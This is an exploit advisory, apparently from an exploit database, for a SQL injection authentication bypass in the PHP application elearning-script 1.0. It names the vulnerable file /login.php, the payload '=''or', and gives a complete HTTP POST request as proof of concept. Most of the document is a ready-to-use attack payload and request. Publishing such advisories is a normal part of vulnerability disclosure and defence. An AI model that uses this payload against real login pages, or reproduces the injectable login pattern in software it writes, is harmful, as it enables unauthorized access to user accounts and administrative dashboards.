elearning-script 1.0 SQL Injection

`# Exploit Title: elearning-script 1.0 - Authentication Bypass  
# Author: riamloo  
# Date: 2019-12-29  
# Vendor Homepage: https://github.com/amitkolloldey/elearning-script  
# Software Link: https://github.com/amitkolloldey/elearning-script/archive/master.zip  
# Version: 1  
# CVE: N/A  
# Tested on: Win 10  
  
# Discription:  
# E Learning Blog Developed In Raw PHP  
# Vulnerability: Attacker can bypass login page and access to dashboard page  
# vulnerable file : /login.php  
# Parameter & Payload: '=''or'  
# Proof of Concept:  
http://localhost/elearning-script-master/login.php  
  
POST /elearning-script-master/login.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data;  
Content-Length: 445  
Referer: http://localhost/elearning-script-master/login.php  
Cookie: PHPSESSID=a81sp8jg62nzxs8icvbf44ep3iu  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
'=''or'  
`